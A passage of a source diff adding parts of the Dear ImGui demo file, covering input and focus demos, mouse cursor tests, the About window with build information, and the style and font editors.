(%.02f secs)", i, io.MouseDownDuration[i]); } + ImGui::Text("Mouse clicked:"); for (int i = 0; i < IM_ARRAYSIZE(io.MouseDown); i++) if (ImGui::IsMouseClicked(i)) { ImGui::SameLine(); ImGui::Text("b%d", i); } + ImGui::Text("Mouse dblclick:"); for (int i = 0; i < IM_ARRAYSIZE(io.MouseDown); i++) if (ImGui::IsMouseDoubleClicked(i)) { ImGui::SameLine(); ImGui::Text("b%d", i); } + ImGui::Text("Mouse released:"); for (int i = 0; i < IM_ARRAYSIZE(io.MouseDown); i++) if (ImGui::IsMouseReleased(i)) { ImGui::SameLine(); ImGui::Text("b%d", i); } + ImGui::Text("Mouse wheel: %.1f", io.MouseWheel); + + ImGui::Text("Keys down:"); for (int i = 0; i < IM_ARRAYSIZE(io.KeysDown); i++) if (io.KeysDownDuration[i] >= 0.0f) { ImGui::SameLine(); ImGui::Text("%d (0x%X) (%.02f secs)", i, i, io.KeysDownDuration[i]); } + ImGui::Text("Keys pressed:"); for (int i = 0; i < IM_ARRAYSIZE(io.KeysDown); i++) if (ImGui::IsKeyPressed(i)) { ImGui::SameLine(); ImGui::Text("%d (0x%X)", i, i); } + ImGui::Text("Keys release:"); for (int i = 0; i < IM_ARRAYSIZE(io.KeysDown); i++) if (ImGui::IsKeyReleased(i)) { ImGui::SameLine(); ImGui::Text("%d (0x%X)", i, i); } + ImGui::Text("Keys mods: %s%s%s%s", io.KeyCtrl ? "CTRL " : "", io.KeyShift ? "SHIFT " : "", io.KeyAlt ? "ALT " : "", io.KeySuper ? "SUPER " : ""); + ImGui::Text("Chars queue:"); for (int i = 0; i < io.InputQueueCharacters.Size; i++) { ImWchar c = io.InputQueueCharacters[i]; ImGui::SameLine(); ImGui::Text("\'%c\' (0x%04X)", (c > ' ' && c <= 255) ? (char)c : '?', c); } // FIXME: We should convert 'c' to UTF-8 here but the functions are not public. + + ImGui::Text("NavInputs down:"); for (int i = 0; i < IM_ARRAYSIZE(io.NavInputs); i++) if (io.NavInputs[i] > 0.0f) { ImGui::SameLine(); ImGui::Text("[%d] %.2f", i, io.NavInputs[i]); } + ImGui::Text("NavInputs pressed:"); for (int i = 0; i < IM_ARRAYSIZE(io.NavInputs); i++) if (io.NavInputsDownDuration[i] == 0.0f) { ImGui::SameLine(); ImGui::Text("[%d]", i); } + ImGui::Text("NavInputs duration:"); for (int i = 0; i < IM_ARRAYSIZE(io.NavInputs); i++) if (io.NavInputsDownDuration[i] >= 0.0f) { ImGui::SameLine(); ImGui::Text("[%d] %.2f", i, io.NavInputsDownDuration[i]); } + + ImGui::Button("Hovering me sets the\nkeyboard capture flag"); + if (ImGui::IsItemHovered()) + ImGui::CaptureKeyboardFromApp(true); + ImGui::SameLine(); + ImGui::Button("Holding me clears the\nthe keyboard capture flag"); + if (ImGui::IsItemActive()) + ImGui::CaptureKeyboardFromApp(false); + + ImGui::TreePop(); + } + + if (ImGui::TreeNode("Tabbing")) + { + ImGui::Text("Use TAB/SHIFT+TAB to cycle through keyboard editable fields."); + static char buf[32] = "hello"; + ImGui::InputText("1", buf, IM_ARRAYSIZE(buf)); + ImGui::InputText("2", buf, IM_ARRAYSIZE(buf)); + ImGui::InputText("3", buf, IM_ARRAYSIZE(buf)); + ImGui::PushAllowKeyboardFocus(false); + ImGui::InputText("4 (tab skip)", buf, IM_ARRAYSIZE(buf)); + //ImGui::SameLine(); HelpMarker("Use ImGui::PushAllowKeyboardFocus(bool) to disable tabbing through certain widgets."); + ImGui::PopAllowKeyboardFocus(); + ImGui::InputText("5", buf, IM_ARRAYSIZE(buf)); + ImGui::TreePop(); + } + + if (ImGui::TreeNode("Focus from code")) + { + bool focus_1 = ImGui::Button("Focus on 1"); ImGui::SameLine(); + bool focus_2 = ImGui::Button("Focus on 2"); ImGui::SameLine(); + bool focus_3 = ImGui::Button("Focus on 3"); + int has_focus = 0; + static char buf[128] = "click on a button to set focus"; + + if (focus_1) ImGui::SetKeyboardFocusHere(); + ImGui::InputText("1", buf, IM_ARRAYSIZE(buf)); + if (ImGui::IsItemActive()) has_focus = 1; + + if (focus_2) ImGui::SetKeyboardFocusHere(); + ImGui::InputText("2", buf, IM_ARRAYSIZE(buf)); + if (ImGui::IsItemActive()) has_focus = 2; + + ImGui::PushAllowKeyboardFocus(false); + if (focus_3) ImGui::SetKeyboardFocusHere(); + ImGui::InputText("3 (tab skip)", buf, IM_ARRAYSIZE(buf)); + if (ImGui::IsItemActive()) has_focus = 3; + ImGui::PopAllowKeyboardFocus(); + + if (has_focus) + ImGui::Text("Item with focus: %d", has_focus); + else + ImGui::Text("Item with focus: "); + + // Use >= 0 parameter to SetKeyboardFocusHere() to focus an upcoming item + static float f3[3] = { 0.0f, 0.0f, 0.0f }; + int focus_ahead = -1; + if (ImGui::Button("Focus on X")) { focus_ahead = 0; } ImGui::SameLine(); + if (ImGui::Button("Focus on Y")) { focus_ahead = 1; } ImGui::SameLine(); + if (ImGui::Button("Focus on Z")) { focus_ahead = 2; } + if (focus_ahead != -1) ImGui::SetKeyboardFocusHere(focus_ahead); + ImGui::SliderFloat3("Float3", &f3[0], 0.0f, 1.0f); + + ImGui::TextWrapped("NB: Cursor & selection are preserved when refocusing last used item in code."); + ImGui::TreePop(); + } + + if (ImGui::TreeNode("Dragging")) + { + ImGui::TextWrapped("You can use ImGui::GetMouseDragDelta(0) to query for the dragged amount on any widget."); + for (int button = 0; button < 3; button++) + { + ImGui::Text("IsMouseDragging(%d):", button); + ImGui::Text(" w/ default threshold: %d,", ImGui::IsMouseDragging(button)); + ImGui::Text(" w/ zero threshold: %d,", ImGui::IsMouseDragging(button, 0.0f)); + ImGui::Text(" w/ large threshold: %d,", ImGui::IsMouseDragging(button, 20.0f)); + } + + ImGui::Button("Drag Me"); + if (ImGui::IsItemActive()) + ImGui::GetForegroundDrawList()->AddLine(io.MouseClickedPos[0], io.MousePos, ImGui::GetColorU32(ImGuiCol_Button), 4.0f); // Draw a line between the button and the mouse cursor + + // Drag operations gets "unlocked" when the mouse has moved past a certain threshold + // (the default threshold is stored in io.MouseDragThreshold). You can request a lower or higher + // threshold using the second parameter of IsMouseDragging() and GetMouseDragDelta(). + ImVec2 value_raw = ImGui::GetMouseDragDelta(0, 0.0f); + ImVec2 value_with_lock_threshold = ImGui::GetMouseDragDelta(0); + ImVec2 mouse_delta = io.MouseDelta; + ImGui::Text("GetMouseDragDelta(0):"); + ImGui::Text(" w/ default threshold: (%.1f, %.1f)", value_with_lock_threshold.x, value_with_lock_threshold.y); + ImGui::Text(" w/ zero threshold: (%.1f, %.1f)", value_raw.x, value_raw.y); + ImGui::Text("io.MouseDelta: (%.1f, %.1f)", mouse_delta.x, mouse_delta.y); + ImGui::TreePop(); + } + + if (ImGui::TreeNode("Mouse cursors")) + { + const char* mouse_cursors_names[] = { "Arrow", "TextInput", "ResizeAll", "ResizeNS", "ResizeEW", "ResizeNESW", "ResizeNWSE", "Hand", "NotAllowed" }; + IM_ASSERT(IM_ARRAYSIZE(mouse_cursors_names) == ImGuiMouseCursor_COUNT); + + ImGuiMouseCursor current = ImGui::GetMouseCursor(); + ImGui::Text("Current mouse cursor = %d: %s", current, mouse_cursors_names[current]); + ImGui::Text("Hover to see mouse cursors:"); + ImGui::SameLine(); HelpMarker( + "Your application can render a different mouse cursor based on what ImGui::GetMouseCursor() returns. " + "If software cursor rendering (io.MouseDrawCursor) is set ImGui will draw the right cursor for you, " + "otherwise your backend needs to handle it."); + for (int i = 0; i < ImGuiMouseCursor_COUNT; i++) + { + char label[32]; + sprintf(label, "Mouse cursor %d: %s", i, mouse_cursors_names[i]); + ImGui::Bullet(); ImGui::Selectable(label, false); + if (ImGui::IsItemHovered()) + ImGui::SetMouseCursor(i); + } + ImGui::TreePop(); + } + } +} + +//----------------------------------------------------------------------------- +// [SECTION] About Window / ShowAboutWindow() +// Access from Dear ImGui Demo -> Tools -> About +//----------------------------------------------------------------------------- + +void ImGui::ShowAboutWindow(bool* p_open) +{ + if (!ImGui::Begin("About Dear ImGui", p_open, ImGuiWindowFlags_AlwaysAutoResize)) + { + ImGui::End(); + return; + } + ImGui::Text("Dear ImGui %s", ImGui::GetVersion()); + ImGui::Separator(); + ImGui::Text("By Omar Cornut and all Dear ImGui contributors."); + ImGui::Text("Dear ImGui is licensed under the MIT License, see LICENSE for more information."); + + static bool show_config_info = false; + ImGui::Checkbox("Config/Build Information", &show_config_info); + if (show_config_info) + { + ImGuiIO& io = ImGui::GetIO(); + ImGuiStyle& style = ImGui::GetStyle(); + + bool copy_to_clipboard = ImGui::Button("Copy to clipboard"); + ImVec2 child_size = ImVec2(0, ImGui::GetTextLineHeightWithSpacing() * 18); + ImGui::BeginChildFrame(ImGui::GetID("cfg_infos"), child_size, ImGuiWindowFlags_NoMove); + if (copy_to_clipboard) + { + ImGui::LogToClipboard(); + ImGui::LogText("```\n"); // Back quotes will make text appears without formatting when pasting on GitHub + } + + ImGui::Text("Dear ImGui %s (%d)", IMGUI_VERSION, IMGUI_VERSION_NUM); + ImGui::Separator(); + ImGui::Text("sizeof(size_t): %d, sizeof(ImDrawIdx): %d, sizeof(ImDrawVert): %d", (int)sizeof(size_t), (int)sizeof(ImDrawIdx), (int)sizeof(ImDrawVert)); + ImGui::Text("define: __cplusplus=%d", (int)__cplusplus); +#ifdef IMGUI_DISABLE_OBSOLETE_FUNCTIONS + ImGui::Text("define: IMGUI_DISABLE_OBSOLETE_FUNCTIONS"); +#endif +#ifdef IMGUI_DISABLE_WIN32_DEFAULT_CLIPBOARD_FUNCTIONS + ImGui::Text("define: IMGUI_DISABLE_WIN32_DEFAULT_CLIPBOARD_FUNCTIONS"); +#endif +#ifdef IMGUI_DISABLE_WIN32_DEFAULT_IME_FUNCTIONS + ImGui::Text("define: IMGUI_DISABLE_WIN32_DEFAULT_IME_FUNCTIONS"); +#endif +#ifdef IMGUI_DISABLE_WIN32_FUNCTIONS + ImGui::Text("define: IMGUI_DISABLE_WIN32_FUNCTIONS"); +#endif +#ifdef IMGUI_DISABLE_DEFAULT_FORMAT_FUNCTIONS + ImGui::Text("define: IMGUI_DISABLE_DEFAULT_FORMAT_FUNCTIONS"); +#endif +#ifdef IMGUI_DISABLE_DEFAULT_MATH_FUNCTIONS + ImGui::Text("define: IMGUI_DISABLE_DEFAULT_MATH_FUNCTIONS"); +#endif +#ifdef IMGUI_DISABLE_DEFAULT_FILE_FUNCTIONS + ImGui::Text("define: IMGUI_DISABLE_DEFAULT_FILE_FUNCTIONS"); +#endif +#ifdef IMGUI_DISABLE_FILE_FUNCTIONS + ImGui::Text("define: IMGUI_DISABLE_FILE_FUNCTIONS"); +#endif +#ifdef IMGUI_DISABLE_DEFAULT_ALLOCATORS + ImGui::Text("define: IMGUI_DISABLE_DEFAULT_ALLOCATORS"); +#endif +#ifdef IMGUI_USE_BGRA_PACKED_COLOR + ImGui::Text("define: IMGUI_USE_BGRA_PACKED_COLOR"); +#endif +#ifdef _WIN32 + ImGui::Text("define: _WIN32"); +#endif +#ifdef _WIN64 + ImGui::Text("define: _WIN64"); +#endif +#ifdef __linux__ + ImGui::Text("define: __linux__"); +#endif +#ifdef __APPLE__ + ImGui::Text("define: __APPLE__"); +#endif +#ifdef _MSC_VER + ImGui::Text("define: _MSC_VER=%d", _MSC_VER); +#endif +#ifdef __MINGW32__ + ImGui::Text("define: __MINGW32__"); +#endif +#ifdef __MINGW64__ + ImGui::Text("define: __MINGW64__"); +#endif +#ifdef __GNUC__ + ImGui::Text("define: __GNUC__=%d", (int)__GNUC__); +#endif +#ifdef __clang_version__ + ImGui::Text("define: __clang_version__=%s", __clang_version__); +#endif + ImGui::Separator(); + ImGui::Text("io.BackendPlatformName: %s", io.BackendPlatformName ? io.BackendPlatformName : "NULL"); + ImGui::Text("io.BackendRendererName: %s", io.BackendRendererName ? io.BackendRendererName : "NULL"); + ImGui::Text("io.ConfigFlags: 0x%08X", io.ConfigFlags); + if (io.ConfigFlags & ImGuiConfigFlags_NavEnableKeyboard) ImGui::Text(" NavEnableKeyboard"); + if (io.ConfigFlags & ImGuiConfigFlags_NavEnableGamepad) ImGui::Text(" NavEnableGamepad"); + if (io.ConfigFlags & ImGuiConfigFlags_NavEnableSetMousePos) ImGui::Text(" NavEnableSetMousePos"); + if (io.ConfigFlags & ImGuiConfigFlags_NavNoCaptureKeyboard) ImGui::Text(" NavNoCaptureKeyboard"); + if (io.ConfigFlags & ImGuiConfigFlags_NoMouse) ImGui::Text(" NoMouse"); + if (io.ConfigFlags & ImGuiConfigFlags_NoMouseCursorChange) ImGui::Text(" NoMouseCursorChange"); + if (io.MouseDrawCursor) ImGui::Text("io.MouseDrawCursor"); + if (io.ConfigMacOSXBehaviors) ImGui::Text("io.ConfigMacOSXBehaviors"); + if (io.ConfigInputTextCursorBlink) ImGui::Text("io.ConfigInputTextCursorBlink"); + if (io.ConfigWindowsResizeFromEdges) ImGui::Text("io.ConfigWindowsResizeFromEdges"); + if (io.ConfigWindowsMoveFromTitleBarOnly) ImGui::Text("io.ConfigWindowsMoveFromTitleBarOnly"); + if (io.ConfigMemoryCompactTimer >= 0.0f) ImGui::Text("io.ConfigMemoryCompactTimer = %.1f", io.ConfigMemoryCompactTimer); + ImGui::Text("io.BackendFlags: 0x%08X", io.BackendFlags); + if (io.BackendFlags & ImGuiBackendFlags_HasGamepad) ImGui::Text(" HasGamepad"); + if (io.BackendFlags & ImGuiBackendFlags_HasMouseCursors) ImGui::Text(" HasMouseCursors"); + if (io.BackendFlags & ImGuiBackendFlags_HasSetMousePos) ImGui::Text(" HasSetMousePos"); + if (io.BackendFlags & ImGuiBackendFlags_RendererHasVtxOffset) ImGui::Text(" RendererHasVtxOffset"); + ImGui::Separator(); + ImGui::Text("io.Fonts: %d fonts, Flags: 0x%08X, TexSize: %d,%d", io.Fonts->Fonts.Size, io.Fonts->Flags, io.Fonts->TexWidth, io.Fonts->TexHeight); + ImGui::Text("io.DisplaySize: %.2f,%.2f", io.DisplaySize.x, io.DisplaySize.y); + ImGui::Text("io.DisplayFramebufferScale: %.2f,%.2f", io.DisplayFramebufferScale.x, io.DisplayFramebufferScale.y); + ImGui::Separator(); + ImGui::Text("style.WindowPadding: %.2f,%.2f", style.WindowPadding.x, style.WindowPadding.y); + ImGui::Text("style.WindowBorderSize: %.2f", style.WindowBorderSize); + ImGui::Text("style.FramePadding: %.2f,%.2f", style.FramePadding.x, style.FramePadding.y); + ImGui::Text("style.FrameRounding: %.2f", style.FrameRounding); + ImGui::Text("style.FrameBorderSize: %.2f", style.FrameBorderSize); + ImGui::Text("style.ItemSpacing: %.2f,%.2f", style.ItemSpacing.x, style.ItemSpacing.y); + ImGui::Text("style.ItemInnerSpacing: %.2f,%.2f", style.ItemInnerSpacing.x, style.ItemInnerSpacing.y); + + if (copy_to_clipboard) + { + ImGui::LogText("\n```\n"); + ImGui::LogFinish(); + } + ImGui::EndChildFrame(); + } + ImGui::End(); +} + +//----------------------------------------------------------------------------- +// [SECTION] Style Editor / ShowStyleEditor() +//----------------------------------------------------------------------------- +// - ShowStyleSelector() +// - ShowFontSelector() +// - ShowStyleEditor() +//----------------------------------------------------------------------------- + +// Demo helper function to select among default colors. See ShowStyleEditor() for more advanced options. +// Here we use the simplified Combo() api that packs items into a single literal string. +// Useful for quick combo boxes where the choices are known locally. +bool ImGui::ShowStyleSelector(const char* label) +{ + static int style_idx = -1; + if (ImGui::Combo(label, &style_idx, "Dark\0Light\0Classic\0")) + { + switch (style_idx) + { + case 0: ImGui::StyleColorsDark(); break; + case 1: ImGui::StyleColorsLight(); break; + case 2: ImGui::StyleColorsClassic(); break; + } + return true; + } + return false; +} + +// Demo helper function to select among loaded fonts. +// Here we use the regular BeginCombo()/EndCombo() api which is more the more flexible one. +void ImGui::ShowFontSelector(const char* label) +{ + ImGuiIO& io = ImGui::GetIO(); + ImFont* font_current = ImGui::GetFont(); + if (ImGui::BeginCombo(label, font_current->GetDebugName())) + { + for (int n = 0; n < io.Fonts->Fonts.Size; n++) + { + ImFont* font = io.Fonts->Fonts[n]; + ImGui::PushID((void*)font); + if (ImGui::Selectable(font->GetDebugName(), font == font_current)) + io.FontDefault = font; + ImGui::PopID(); + } + ImGui::EndCombo(); + } + ImGui::SameLine(); + HelpMarker( + "- Load additional fonts with io.Fonts->AddFontFromFileTTF().\n" + "- The font atlas is built when calling io.Fonts->GetTexDataAsXXXX() or io.Fonts->Build().\n" + "- Read FAQ and docs/FONTS.md for more details.\n" + "- If you need to add/remove fonts at runtime (e.g. for DPI change), do it before calling NewFrame()."); +} + +// [Internal] Display details for a single font, called by ShowStyleEditor(). +static void NodeFont(ImFont* font) +{ + ImGuiIO& io = ImGui::GetIO(); + ImGuiStyle& style = ImGui::GetStyle(); + bool font_details_opened = ImGui::TreeNode(font, "Font: \"%s\"\n%.2f px, %d glyphs, %d file(s)", + font->ConfigData ? font->ConfigData[0].Name : "", font->FontSize, font->Glyphs.Size, font->ConfigDataCount); + ImGui::SameLine(); if (ImGui::SmallButton("Set as default")) { io.FontDefault = font; } + if (!font_details_opened) + return; + + ImGui::PushFont(font); + ImGui::Text("The quick brown fox jumps over the lazy dog"); + ImGui::PopFont(); + ImGui::DragFloat("Font scale", &font->Scale, 0.005f, 0.3f, 2.0f, "%.1f"); // Scale only this font + ImGui::SameLine(); HelpMarker( + "Note than the default embedded font is NOT meant to be scaled.\n\n" + "Font are currently rendered into bitmaps at a given size at the time of building the atlas. " + "You may oversample them to get some flexibility with scaling. " + "You can also render at multiple sizes and select which one to use at runtime.\n\n" + "(Glimmer of hope: the atlas system will be rewritten in the future to make scaling more flexible.)"); + ImGui::Text("Ascent: %f, Descent: %f, Height: %f", font->Ascent, font->Descent, font->Ascent - font->Descent); + ImGui::Text("Fallback character: '%c' (U+%04X)", font->FallbackChar, font->FallbackChar); + ImGui::Text("Ellipsis character: '%c' (U+%04X)", font->EllipsisChar, font->EllipsisChar); + const int surface_sqrt = (int)sqrtf((float)font->MetricsTotalSurface); + ImGui::Text("Texture Area: about %d px ~%dx%d px", font->MetricsTotalSurface, surface_sqrt, surface_sqrt); + for (int config_i = 0; config_i < font->ConfigDataCount; config_i++) + if (font->ConfigData) + if (const ImFontConfig* cfg = &font->ConfigData[config_i]) + ImGui::BulletText("Input %d: \'%s\', Oversample: (%d,%d), PixelSnapH: %d, Offset: (%.1f,%.1f)", + config_i, cfg->Name, cfg->OversampleH, cfg->OversampleV, cfg->PixelSnapH, cfg->GlyphOffset.x, cfg->GlyphOffset.y); + if (ImGui::TreeNode("Glyphs", "Glyphs (%d)", font->Glyphs.Size)) + { + // Display all glyphs of the fonts in separate pages of 256 characters + const ImU32 glyph_col = ImGui::GetColorU32(ImGuiCol_Text); + for (unsigned int base = 0; base <= IM_UNICODE_CODEPOINT_MAX; base += 256) + { + // Skip ahead if a large bunch of glyphs are not present in the font (test in chunks of 4k) + // This is only a small optimization to reduce the number of iterations when IM_UNICODE_MAX_CODEPOINT + // is large // (if ImWchar==ImWchar32 we will do at least about 272 queries here) + if (!(base & 4095) && font->IsGlyphRangeUnused(base, base + 4095)) + { + base += 4096 - 256; + continue; + } + + int count = 0; + for (unsigned int n = 0; n < 256; n++) + if (font->FindGlyphNoFallback((ImWchar)(base + n))) + count++; + if (count <= 0) + continue; + if (!ImGui::TreeNode((void*)(intptr_t)base, "U+%04X..U+%04X (%d %s)", base, base + 255, count, count > 1 ? "glyphs" : "glyph")) + continue; + float cell_size = font->FontSize * 1; + float cell_spacing = style.ItemSpacing.y; + ImVec2 base_pos = ImGui::GetCursorScreenPos(); + ImDrawList* draw_list = ImGui::GetWindowDrawList(); + for (unsigned int n = 0; n < 256; n++) + { + // We use ImFont::RenderChar as a shortcut because we don't have UTF-8 conversion functions + // available here and thus cannot easily generate a zero-terminated UTF-8 encoded string. + ImVec2 cell_p1(base_pos.x + (n % 16) * (cell_size + cell_spacing), base_pos.y + (n / 16) * (cell_size + cell_spacing)); + ImVec2 cell_p2(cell_p1.x + cell_size, cell_p1.y + cell_size); + const ImFontGlyph* glyph = font->FindGlyphNoFallback((ImWchar)(base + n)); + draw_list->AddRect(cell_p1, cell_p2, glyph ? IM_COL32(255, 255, 255, 100) : IM_COL32(255, 255, 255, 50)); + if (glyph) + font->RenderChar(draw_list, cell_size, cell_p1, glyph_col, (ImWchar)(base + n)); + if (glyph && ImGui::IsMouseHoveringRect(cell_p1, cell_p2)) + { + ImGui::BeginTooltip(); + ImGui::Text("Codepoint: U+%04X", base + n); + ImGui::Separator(); + ImGui::Text("Visible: %d", glyph->Visible); + ImGui::Text("AdvanceX: %.1f", glyph->AdvanceX); + ImGui::Text("Pos: (%.2f,%.2f)->(%.2f,%.2f)", glyph->X0, glyph->Y0, glyph->X1, glyph->Y1); + ImGui::Text("UV: (%.3f,%.3f)->(%.3f,%.3f)", glyph->U0, glyph->V0, glyph->U1, glyph->V1); + ImGui::EndTooltip(); + } + } + ImGui::Dummy(ImVec2((cell_size + cell_spacing) * 16, (cell_size + cell_spacing) * 16)); + ImGui::TreePop(); + } + ImGui::TreePop(); + } + ImGui::TreePop(); +} + +void ImGui::ShowStyleEditor(ImGuiStyle* ref) +{ + // You can pass in a reference ImGuiStyle structure to compare to, revert to and save to + // (without a reference style pointer, we will use one compared locally as a reference) + ImGuiStyle& style = ImGui::GetStyle(); + static ImGuiStyle ref_saved_style; + + // Default to using internal storage as reference + static bool init = true; + if (init && ref == NULL) + ref_saved_style = style; + init = false; + if (ref == NULL) + ref = &ref_saved_style; + + ImGui::PushItemWidth(ImGui::GetWindowWidth() * 0.50f); + + if (ImGui::ShowStyleSelector("Colors##Selector")) + ref_saved_style = style; + ImGui::ShowFontSelector("Fonts##Selector"); + + // Simplified Settings (expose floating-pointer border sizes as boolean representing 0.0f or 1.0f) + if (ImGui::SliderFloat("FrameRounding", &style.FrameRounding, 0.0f, 12.0f, "%.0f")) + style.GrabRounding = style.FrameRounding; // Make GrabRounding always the same value as FrameRounding + { bool border = (style.WindowBorderSize > 0.0f); if (ImGui::Checkbox("WindowBorder", &border)) { style.WindowBorderSize = border ? 1.0f : 0.0f; } } + ImGui::SameLine(); + { bool border = (style.FrameBorderSize > 0.0f); if (ImGui::Checkbox("FrameBorder", &border)) { style.FrameBorderSize = border ? 1.0f : 0.0f; } } + ImGui::SameLine(); + { bool border = (style.PopupBorderSize > 0.0f); if (ImGui::Checkbox("PopupBorder", &border)) { style.PopupBorderSize = border ? 1.0f : 0.0f; } } + + // Save/Revert button + if (ImGui::Button("Save Ref")) + *ref = ref_saved_style = style; + ImGui::SameLine(); + if (ImGui::Button("Revert Ref")) + style = *ref; + ImGui::SameLine(); + HelpMarker( + "Save/Revert in local non-persistent storage. Default Colors definition are not affected. " + "Use \"Export\" below to save them somewhere."); + + ImGui::Separator(); + + if (ImGui::BeginTabBar("##tabs", ImGuiTabBarFlags_None)) + { + if (ImGui::BeginTabItem("Sizes")) + { + ImGui::Text("Main"); + ImGui::SliderFloat2("WindowPadding", (float*)&style.WindowPadding, 0.0f, 20.0f, "%.0f"); + ImGui::SliderFloat2("FramePadding", (float*)&style.FramePadding, 0.0f, 20.0f, "%.0f"); + ImGui::SliderFloat2("CellPadding", (float*)&style.CellPadding, 0.0f, 20.0f, "%.0f"); + ImGui::SliderFloat2("ItemSpacing", (float*)&style.ItemSpacing, 0.0f, 20.0f, "%.0f"); + ImGui::SliderFloat2("ItemInnerSpacing", (float*)&style.ItemInnerSpacing, 0.0f, 20.0f, "%.0f"); + ImGui::SliderFloat2("TouchExtraPadding", (float*)&style.TouchExtraPadding, 0.0f, 10.0f, "%.0f"); + ImGui::SliderFloat("IndentSpacing", &style.IndentSpacing, 0.0f, 30.0f, "%.0f"); + ImGui::SliderFloat("ScrollbarSize", &style.ScrollbarSize, 1.0f, 20.0f, "%.0f"); + ImGui::SliderFloat("GrabMinSize", &style.GrabMinSize, 1.0f, 20.0f, "%.0f"); + ImGui::Text("Borders"); + ImGui::SliderFloat("WindowBorderSize", &style.WindowBorderSize, 0.0f, 1.0f, "%.0f"); + ImGui::SliderFloat("ChildBorderSize", &style.ChildBorderSize, 0.0f, 1.0f, "%.0f"); + ImGui::SliderFloat("PopupBorderSize", &style.PopupBorderSize, 0.0f, 1.0f, "%.0f"); + ImGui::SliderFloat("FrameBorderSize", &style.FrameBorderSize, 0.0f, 1.0f, "%.0f"); + ImGui::SliderFloat("TabBorderSize", &style.TabBorderSize, 0.0f, 1.0f, "%.0f"); + ImGui::Text("Rounding"); + ImGui::SliderFloat("WindowRounding", &style.WindowRounding, 0.0f, 12.0f, "%.0f"); + ImGui::SliderFloat("ChildRounding", &style.ChildRounding, 0.0f, 12.0f, "%.0f"); + ImGui::SliderFloat("FrameRounding", &style.FrameRounding, 0.0f, 12.0f, "%.0f"); + ImGui::SliderFloat("PopupRounding", &style.PopupRounding, 0.0f, 12.0f, "%.0f"); + ImGui::SliderFloat("ScrollbarRounding", &style.ScrollbarRounding, 0.0f, 12.0f, "%.0f"); + ImGui::SliderFloat("GrabRounding", &style.GrabRounding, 0.0f, 12.0f, "%.0f"); + ImGui::SliderFloat("LogSliderDeadzone", &style.LogSliderDeadzone, 0.0f, 12.0f, "%.0f"); + ImGui::SliderFloat("TabRounding", &style.TabRounding, 0.0f, 12.0f, "%.0f"); + ImGui::Text("Alignment"); + ImGui::SliderFloat2("WindowTitleAlign", (float*)&style.WindowTitleAlign, 0.0f, 1.0f, "%.2f"); + int window_menu_button_position = style.WindowMenuButtonPosition + 1; + if (ImGui::Combo("WindowMenuButtonPosition", (int*)&window_menu_button_position, "None\0Left\0Right\0")) + style.WindowMenuButtonPosition = window_menu_button_position - 1; + ImGui::Combo("ColorButtonPosition", (int*)&style.ColorButtonPosition, "Left\0Right\0"); + ImGui::SliderFloat2("ButtonTextAlign", (float*)&style.ButtonTextAlign, 0.0f, 1.0f, "%.2f"); + ImGui::SameLine(); HelpMarker("Alignment applies when a button is larger than its text content."); + ImGui::SliderFloat2("SelectableTextAlign", (float*)&style.SelectableTextAlign, 0.0f, 1.0f, "%.2f"); + ImGui::SameLine(); HelpMarker("Alignment applies when a selectable is larger than its text content."); + ImGui::Text("Safe Area Padding"); + ImGui::SameLine(); HelpMarker("Adjust if you cannot see the edges of your screen (e.g. on a TV where scaling has not been configured)."); + ImGui::SliderFloat2("DisplaySafeAreaPadding", (float*)&style.DisplaySafeAreaPadding, 0.0f, 30.0f, "%.0f"); + ImGui::EndTabItem(); + } + + if (ImGui::BeginTabItem("Colors")) + { + static int output_dest = 0; + static bool output_only_modified = true; + if (ImGui::Button("Export")) + { + if (output_dest == 0) + ImGui::LogToClipboard(); + else + ImGui::LogToTTY(); + ImGui::LogText("ImVec4* colors = ImGui::GetStyle().Colors;" IM_NEWLINE); + for (int i = 0; i < ImGuiCol_COUNT; i++) + { + const ImVec4& col = style.Colors[i]; + const char* name = ImGui::GetStyleColorName(i); + if (!output_only_modified || memcmp(&col, &ref->Colors[i], sizeof(ImVec4)) != 0) + ImGui::LogText("colors[ImGuiCol_%s]%*s= ImVec4(%.2ff, %.2ff, %.2ff, %.2ff);" IM_NEWLINE, + name, 23 - (int)strlen(name), "", col.x, col.y, col.z, col.w); + } + ImGui::LogFinish(); + } + ImGui::SameLine(); ImGui::SetNextItemWidth(120); ImGui::Combo("##output_type", &output_dest, "To Clipboard\0To TTY\0"); + ImGui::SameLine(); ImGui::Checkbox("Only Modified Colors", &output_only_modified); + + static ImGuiTextFilter filter; + filter.Draw("Filter colors", ImGui::GetFontSize() * 16); + + static ImGuiColorEditFlags alpha_flags = 0; + if (ImGui::RadioButton("Opaque", alpha_flags == ImGuiColorEditFlags_None)) { alpha_flags = ImGuiColorEditFlags_None; } ImGui::SameLine(); + if (ImGui::RadioButton("Alpha", alpha_flags == ImGuiColorEditFlags_AlphaPreview)) { alpha_flags = ImGuiColorEditFlags_AlphaPreview; } ImGui::SameLine(); + if (ImGui::RadioButton("Both", alpha_flags == ImGuiColorEditFlags_AlphaPreviewHalf)) { alpha_flags = ImGuiColorEditFlags_AlphaPreviewHalf; } ImGui::SameLine(); + HelpMarker( + "In the color list:\n" + "Left-click on color square to open color picker,\n" + "Right-click to open edit options menu."); + + ImGui::BeginChild("##colors", ImVec2(0, 0), true, ImGuiWindowFlags_AlwaysVerticalScrollbar | ImGuiWindowFlags_AlwaysHorizontalScrollbar | ImGuiWindowFlags_NavFlattened); + ImGui::PushItemWidth(-160); + for (int i = 0; i < ImGuiCol_COUNT; i++) + { + const char* name = ImGui::GetStyleColorName(i); + if (!filter.PassFilter(name)) + continue; + ImGui::PushID(i); + ImGui::ColorEdit4("##color", (float*)&style.Colors[i], ImGuiColorEditFlags_AlphaBar | alpha_flags); + if (memcmp(&style.Colors[i], &ref->Colors[i], sizeof(ImVec4)) != 0) + { + // Tips: in a real user application, you may want to merge and use an icon font into the main font, + // so instead of "Save"/"Revert" you'd use icons! + // Read the FAQ and docs/FONTS.md about using icon fonts. It's really easy and super convenient! + ImGui::SameLine(0.0f, style.ItemInnerSpacing.x); if (ImGui::Button("Save")) { ref->Colors[i] = style.Colors[i]; } + ImGui::SameLine(0.0f, style.ItemInnerSpacing.x); if (ImGui::Button("Revert")) { style.Colors[i] = ref->Colors[i]; } + } + ImGui::SameLine(0.0f, style.ItemInnerSpacing.x); + ImGui::TextUnformatted(name); + ImGui::PopID(); + } + ImGui::PopItemWidth(); + ImGui::EndChild(); + + ImGui::EndTabItem(); + } + + if (ImGui::BeginTabItem("Fonts")) + { + ImGuiIO& io = ImGui::GetIO(); + ImFontAtlas* atlas = io.Fonts; + HelpMarker("Read FAQ and docs/FONTS.md for details on font loading."); + ImGui::PushItemWidth(120); + for (int i = 0; i < 